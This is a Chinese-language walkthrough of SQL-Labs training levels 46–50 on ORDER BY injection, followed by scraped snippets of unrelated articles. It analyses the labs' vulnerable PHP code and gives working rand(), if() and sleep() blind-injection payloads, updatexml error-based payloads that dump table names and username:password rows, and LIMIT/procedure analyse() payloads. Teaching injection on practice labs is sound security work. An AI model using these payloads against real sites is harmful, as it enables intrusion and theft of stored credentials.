SQL-Labs靶场“46-50”关通关教程

君衍.

  • 一、四十六关 ORDER BY数字型注入
    • 1、源码分析
    • 2、rand()盲注
    • 3、if语句盲注
    • 4、时间盲注
    • 5、报错注入
    • 6、Limit注入
  • 二、四十七关 ORDER BY单引号报错注入
    • 1、源码分析
    • 2、报错注入
    • 3、时间盲注
  • 三、四十八关 ODRER BY数字型盲注
    • 1、源码分析
    • 2、rand()盲注
    • 3、if语句盲注
    • 4、时间盲注
  • 四、四十九关 ORDER BY单引号盲注
    • 1、源码分析
    • 2、时间盲注
  • 五、五十关 ORDER BY数字型堆叠注入
    • 1、源码分析
    • 2、时间盲注
    • 3、报错注入

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程
SQL-Labs靶场“15-20”关通关教程
SQL-Labs靶场“21-25”关通关教程

一、四十六关 ORDER BY数字型注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY $id

在这里插入图片描述
我们直接可以从界面中得知传参的参数为SORT,下面我们令参数即sort为1继续尝试输入:

?sort=1

在这里插入图片描述
我们可以看到是一个排序表格,同时我们继续尝试将sort参数变为2继续尝试:
在这里插入图片描述
可以看到按照字母顺序进行了排序,所以它便是一个使用了order by语句进行排序的查询的一种查询输出方式。
我们这里继续尝试,将参数变为1',我们可以看到它进行了报错:
在这里插入图片描述
可以看到它直接将报错信息输出了出来,所以我们之后可以进行尝试报错注入。
同时我们之前说了使用了order by,所以这里使用union注入当然是不行的,我们不必进行考虑。我们之后可以跟经常使用order by的正反排序,即为desc以及asc,当然,不加这个默认为从小到大,即为asc。
在这里插入图片描述
在这里插入图片描述
所以如果这里进行注入点判断时,我们使用order by为一个数值是没有意义的,这里我们需要使用rand函数,下面我们会谈到。

1、源码分析

<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];	
if(isset($id)){//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'SORT:'.$id."\n");fclose($fp);$sql = "SELECT * FROM users ORDER BY $id";$result = mysqli_query($con1, $sql);if ($result){?>···<?phpwhile ($row = mysqli_fetch_assoc($result)){echo "<td>".$row['id']."</td>";echo "<td>".$row['username']."</td>";echo "<td>".$row['password']."</td>";}	echo "</table>";}else{print_r(mysqli_error($con1));}}	else{echo "Please input parameter as SORT with numeric value<br><br><br><br>";echo '<img src="../images/Less-46.jpg" /><br>';echo "Lesson Concept and code Idea by <b>D4rk</b>";}
?>

首先进行解读代码,这里我只解读大致部分,首先进行使用GET方式来获取sort参数,然后直接将获取到的参数放入构建的SQL查询语句当中,接着进行判断是否查询成功,如果查询成功,那么输出查询信息,如果没有查询到内容,那么输出报错信息,也是我们的一个注入点。

在这里插入图片描述
在这里插入图片描述

2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)
?sort=rand(false)

在这里插入图片描述
在这里插入图片描述
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

?sort=rand(ascii(mid((select database()),1,1))>96)

在这里插入图片描述
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)

在这里插入图片描述
在这里插入图片描述
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:
在这里插入图片描述
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
在这里插入图片描述
所以这里我们需要在知道列名的情况下进行使用:

?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
在这里插入图片描述
这里我们使用payload为:

?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

5、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

在这里插入图片描述

2、爆出数据库中的所有表

?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

在这里插入图片描述

3、爆出数据库users表中的所有列

?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

在这里插入图片描述

4、爆出数据

?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

在这里插入图片描述
这里也不赘述了,改变limit值即可完成数据的查询。

6、Limit注入

首先需要强调该limit注入只适用于<=MySQL5.5版本中,首先介绍limit使用在mysql中,一般使用limit m,n其中m指的是以m为头开始记录,n即为从m+1开始,取n条数据。

select * from users limit 0,1;
select * from users limit 2,4;

在这里插入图片描述
这里我们必须掌握清楚最基础的使用方式。
下面便是limit注入即为注入点在limit后面。
procedure analyse()报错注入
此方法适用于<=MySQL 5.5中,在limit语句后面的注入

在mysql语法中limit后面只能跟PROCEDURE、INTO OUTFILE、FOR UPDATE | LOCK IN SHARE MODE三个函数。

现今的5.7版本后limit 关键字后面就不能和union联合查询一起使用了,但是还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,这里就只演示使用procedure analyse()函数来实现错误注入,这个函数下有ANALYSE支持两个参数。
报错注入方式:

select * from users order by id limit 0,1 procedure analyse(extractvalue(1,concat(version())));

时间盲注方式:

select * from users order by id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

二、四十七关 ORDER BY单引号报错注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注ORDER BY ‘$id’

本关其实和46关利用方式一样的,只是闭合方式改变了,注入时需要正常闭合:
在这里插入图片描述
在这里插入图片描述
这里我们加上单引号完成闭合,然后注释掉后面的语句完成逃逸即可。所以本关注入点判断其实和46关是一样的,唯独不能使用if语句来进行盲注,上面46关我们也说了原因同时尝试过。

1、源码分析

# 与46关相比就该SQL语句不相同即为闭合方式不同,采用了单引号闭合
$sql = "SELECT * FROM users ORDER BY '$id'";
···

所以本关源码没有什么好说的,原理和46关源码分析是相同的,就闭合方式进行了改变导致我们无法使用if语句注入,所以我们更改注入方案即可。

在这里插入图片描述

2、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出数据库中的所有表

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

3、爆出数据库users表中的所有列

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?sort=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
这里也不赘述了,改变limit值即可完成数据的查询。

3、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+

在这里插入图片描述
在这里插入图片描述

所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

三、四十八关 ODRER BY数字型盲注

请求方式注入类型拼接方式
GET布尔盲注、延时盲注ORDER BY $id

在这里插入图片描述
本关依旧同46关利用方式一样,只是没有报错回显:
在这里插入图片描述
所以本关实则就是无法使用报错注入,剩下的都可以使用,因为并没有什么闭合方式:
在这里插入图片描述

1、源码分析

这里源码实则就是把46关显示报错信息的代码省略掉了,原理依旧同46关相同:
在这里插入图片描述
上图为46关代码,下面展示48关代码:
在这里插入图片描述
所以这里即是将报错注入不让使用了,下面我们更改注入方案:

2、rand()盲注

rand()函数就是可以产生出一个随机数,介于0和1之间的数,rand函数著名的便是用于floor报错注入当中,groupby+floor+count完成的注入。想要了解的可以通过SQL报错注入了解,也是我们需要掌握的一个重要知识点。
当给rand函数一个参数的时候,那么它会将这个参数作为一个随机种子,来生成一个介于0到1之间的一个数,同时最重要的便是种子固定,那么生成的值便固定,我们配合order by使用来进行判断注入,下面我们来观察使用(这里首先假设给true以及false两个种子来观察回显):

?sort=rand(true)
?sort=rand(false)

在这里插入图片描述
在这里插入图片描述
可以看到给的值为真以及假实则是不一样的,所以这里我们可以轻易的构造出一个布尔盲注或者延时盲注的payload:

?sort=rand(ascii(mid((select database()),1,1))>96)

在这里插入图片描述
我们结合上面true以及false的返回即可判断我们构造的payload返回的值是真还是假,这里即可判断出我们的返回是真的,那么我们继续判断,将值设为114以及115再次尝试:

?sort=rand(ascii(mid((select database()),1,1))>114)
?sort=rand(ascii(mid((select database()),1,1))>115)

在这里插入图片描述
在这里插入图片描述
这里即可判断出数据库名的第一个字符的ascii值为115,所以这个字段为s。使用这种方式来进行盲注或者写脚本来进行注入即可。

3、if语句盲注

这种方式进行盲注仅在order=$id,数字型注入时才能生效。因为如果变为了'$id'则会导致if语句变为字符串从而失效:
在这里插入图片描述
我们可以看到这里为字符串时,if语句失效了,顺序不改变,而为数字型时排列顺序改变了。
同时这里我们需要在知道列名的情况下进行使用。如果使用数字来代替列名是不行的。
在这里插入图片描述
所以这里我们需要在知道列名的情况下进行使用:

?sort=if(表达式,id,username)
  • 表达式为true时,根据id进行排序
  • 表达式为false时,根据username来进行排序

当然如果我们在不知道列名的情况下其实也可以使用的:
这里我们主要利用id:
在这里插入图片描述
这里我们使用payload为:

?sort=if(表达式,1,(select id from information_schema.tables))
  • 如果表达式为true时,则会返回正常页面
  • 如果表达式为false,sql语句会报错ERROR 1242 (21000): Subquery returns more than 1 row会使查询内容为空。

4、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

四、四十九关 ORDER BY单引号盲注

请求方式注入类型拼接方式
GET布尔盲注、延时盲注ORDER BY ‘$id’

在这里插入图片描述
四十九关即和47关类似,只是将报错回显省略掉了,同时增加了闭合。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、源码分析

本关源码和47关大差不差,就是将47关报错回显省略掉了:
在这里插入图片描述
上图为49关代码,下图为47关代码:
在这里插入图片描述

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.10sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=1' and if((ascii(mid((select database()),1,1))>1),sleep(1),1)--+

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

五、五十关 ORDER BY数字型堆叠注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注、堆叠注入ORDER BY $id

本关依旧同46关注入点判断类似:
在这里插入图片描述
打开界面显示如上图,首先我们令sort参数为1查看回显:
在这里插入图片描述
然后我们在后面加上单引号,观察是否报错:
在这里插入图片描述
我们可以看到这里进行了报错,所以本关我们可以尝试使用报错注入。

1、源码分析

···# 与46关相同
if (mysqli_multi_query($con1, $sql))
···# 与46关相同

和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入。当然我们也可以使用报错注入。
在这里插入图片描述
在这里插入图片描述
(堆叠注入我们之后会详细讨论到)

2、时间盲注

这个时间盲注便是基于if语句盲注的其中一种,也是利用到了if语句来进行判断,if语句我们上面讨论了可以用两种方式来使其回显改变,从而进行盲注,布尔盲注当然也可以利用,这里我们使用时间盲注。

order by if(表达式,1,sleep(1))
  • 表达式为true时,正常时间显示
  • 表达式为false时,会延迟一段时间显示

需要注意的是这里的延时时间并不是sleep(1)内的数值,即并不是1s而是大于1s,与查询的语句数据条数成倍数关系:
在这里插入图片描述
这里我们可以看到为13.11sec,所以计算公式即为延时时间等于sleep()的秒数乘以所查询数据的条数。
之后我们使用该时间盲注时,将1=2便为表达式即可,比如时间盲注来得到它的数据库名:

?sort=if((ascii(mid((select database()),1,1))>1),sleep(1),1)

在这里插入图片描述
在这里插入图片描述
所以使用这种方法也可完成注入,加快效率也可以进行编写脚本,同时怕延时时间过长可以添加timeout参数也避免延时时间过长。

3、报错注入

之前我们也分析了,它确实输出了报错信息,所以这里我们直接报错注入即可。

1、爆出数据库名

?sort=updatexml(1,concat(0x7e,database(),0x7e),1)

在这里插入图片描述

2、爆出数据库中的所有表

?sort=updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)

在这里插入图片描述

3、爆出数据库users表中的所有列

?sort=updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)

在这里插入图片描述

4、爆出数据

?sort=updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)

在这里插入图片描述
这里也不赘述了,改变limit值即可完成数据的查询。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/701369.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

东方博宜 1518. 多项式求和

东方博宜 1518. 多项式求和 #include<iostream> using namespace std ; int main() {int n ;cin >> n ;int s 0 ;int m 1 ;for(int i 1 ; i < n ; i){ int n 1 ;for( int j 1 ; j < i ; j)n n*j ;s s n*m ;m m*(-1) ;}cout << s ;return 0 ;…

【Android】View 与 ViewGroup

View 是 Android 所有控件的基类&#xff0c;我们平常所用的 TextView 和 ImageView 都是继承自 View 的&#xff0c;源码如下&#xff1a; public class TextView extends View implements ViewTreeObserver.OnPreDrawListener {... }public class ImageView extends View {.…

前端工程化面试题 | 18.精选前端工程化高频面试题

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

Unity资源加密解决方案

据统计&#xff0c;全球范围内超过50%的游戏均使用Unity创作而成&#xff0c;作为游戏开发市场第一大游戏引擎占有者&#xff0c;Unity已经全面覆盖到各个游戏平台。 全球游戏引擎市场占有率 由于体量庞大&#xff0c;Unity游戏已成为受游戏黑灰产攻击的重灾区&#xff0c;因游…

智慧库室管控系统-部队装备综合管理系统

项目背景 在建设万兆主干、千兆终端的监控专网的基础上&#xff0c;弹药库安全技术防范系统主要由库室管控平台、视频监控、入侵报警、出入控制&#xff0c;钥匙柜管理&#xff0c;环境监测、报警响应等子系统组成&#xff0c;采用不间断电源供电&#xff0c;在各系统独立运行…

【Linux】 faillock 命令使用

faillock 命令 faillock 命令是 PAM (Pluggable Authentication Modules) 的一部分&#xff0c;它被设计用来跟踪失败的登录尝试&#xff0c;并在连续失败尝试超过某个阈值时锁定账户。这个功能可以帮助系统管理员识别和防止暴力破解攻击。当一个用户连续多次输入错误的密码后&…

WIFI EEPROM 简略分析-MT7628 EEPROM ANALYSIS

经常做WIFI的同学都了解,硬件设计完成后经过射频的测试满足设计要求后,在量产以及生产中都需要对WIFI的射频需要校准,保证产品射频输出功率的一致性。 在开发阶段就必须需要了解WIFI的EEPROM都是一些什么参数,一般在硬件开发阶段会拿到芯片厂家都SDK,里面都包含对EEPROM的…

[SpringDataMongodb开发游戏服务器实战]

背景&#xff1a; xdb其实足够完美了&#xff0c;现在回想一下&#xff0c;觉得有点复杂&#xff0c;我们不应该绑定语言&#xff0c;最好有自己的架构思路。 七号堡垒作为成功的商业项目&#xff0c;告诉我&#xff1a;其实数据是多读少写的&#xff0c;有修改的时候直接改库也…

C语言:指针的进阶讲解

目录 1. 二级指针 1.1 二级指针是什么&#xff1f; 1.2 二级指针的作用 2. 一维数组和二维数组的本质 3. 指针数组 4. 数组指针 5. 函数指针 6. typedef的使用 7. 函数指针数组 7.1 转移表 1. 二级指针 如果了解了一级指针&#xff0c;那二级指针也是可以很好的理解…

windows安装onlyoffice8.0

安装erlang 安装Erlang25.3 下载地址 设置环境变量 ERLANG_HOME C:\Program Files\Erlang OTP Path下设置%ERLANG_HOME%\bin 打开cmd输入erl不报错即可 安装rabbitmq rabbitmq和erlang对应的关系 下载地址 执行完exe文件后&#xff0c;找到安装目录下的sbin&am…

网络原理——HTTP

1. 什么是HTTP协议 HTTP是应用层的协议。Java最主要的应用场景是做网站&#xff0c;而网站由 后端&#xff08;HTTP服务器&#xff09; 和 前端&#xff08;浏览器&#xff09;组成&#xff0c;HTTP协议就是负责这里后端和前端的数据交互。 HTTP3.0 之前在传输层是通过 TCP传…

Linux:Jenkins:GitLab+Maven+Jenkins的部署——离线包rpm版

Linux&#xff1a;Jenkins&#xff1a;GitLabMavenJenkins的部署&#xff08;1&#xff09;-CSDN博客https://blog.csdn.net/w14768855/article/details/136157018?spm1001.2014.3001.5501这个是原版文章&#xff0c;均是使用的在线情况&#xff0c;但是不排除会有离线部署&am…

性格正直的人适合什么职业?

有信仰&#xff0c;有责任&#xff0c;有骨气&#xff0c;有尊严&#xff0c;这应该是大多数人对正直的人的理解&#xff0c;他们的心中有信仰&#xff0c;肩上有责任&#xff0c;灵魂有骨气&#xff0c;头上有尊严&#xff0c;不管在什么时候都能够坚守道德准则&#xff0c;不…

数字信号处理:傅里叶分析

本文主要参考视频如下&#xff1a; 数字信号处理9-1_线性时不变系统对复指数信号的响应_哔哩哔哩_bilibili 傅里叶分析的主要研究内容如下所示&#xff1a; 注意&#xff0c;计算机中使用的离散傅里叶变换并不是离散时间傅里叶变换&#xff1b; 前四种都是理论上的变换方式&…

nginx-------- 高性能的 Web服务端 验证模块 页面配置(三)

一、http设置 1.1 验证模块 需要输入用户名和密码 htpasswd 此命令来自于 httpd-tools 包&#xff0c;如果没有安装 安装一下即可 也可以安装httpd 直接yum install httpd -y 也一样 第一次生成文件htpasswd -c 文件路径 姓名 交互式生成密码 htpasswd -bc 文…

ubantu设置mysql开机启动

阅读本文之前请参阅----MySQL 数据库安装教程详解&#xff08;linux系统和windows系统&#xff09; 在Ubuntu系统中设置MySQL开机启动&#xff0c;通常有以下几种方法&#xff1a; 1. **使用systemctl命令**&#xff1a; Ubuntu 16.04及更高版本使用systemd作为…

人工智能在网络安全中的重要性

介绍&#xff1a; 人工智能&#xff08;AI&#xff09;是计算机科学的一个分支&#xff0c;基于某些独特的算法和相关数学计算&#xff0c;使机器能够拥有人类的决策能力。另一方面&#xff0c;网络安全包括保护虚拟世界免受网络攻击和威胁的安全措施。人工智能能够通过采取与…

前端导出下载文件后提示无法打开文件

问题 项目中的导出文件功能&#xff0c;导出下载后的文件打开提示如下&#xff1a; 原因 对返回的响应数据进行打印&#xff0c;发现响应数据为字符串格式&#xff0c;前期规划的后端返回数据应该 blob 对象的。后经排查后发现是请求头缺少了响应数据格式的配置&#xff0c;应…

#FPGA(IRDA)

1.IDE:Quartus II 2.设备&#xff1a;Cyclone II EP2C8Q208C8N 3.实验&#xff1a;IRDA&#xff08;仿真接收一个来自0x57地址的数据0x22 (十进制34)&#xff09; 4.时序图&#xff1a; 5.步骤 6.代码&#xff1a; irda_receive.v module irda_receive ( input wire…

从故宫修建看「软件物料清单」的重要性 @安全历史01

故宫&#xff0c;这座中国传统文化的重要代表和象征性建筑已屹立近600年&#xff0c;是世界上现存规模最大、保存最为完整的木质结构古建筑之一。 故宫之所以能至今保存完好&#xff0c;除持续保护和修缮外&#xff0c;其使用的木材和砖石等材料也经过了精挑细选&#xff0c;保…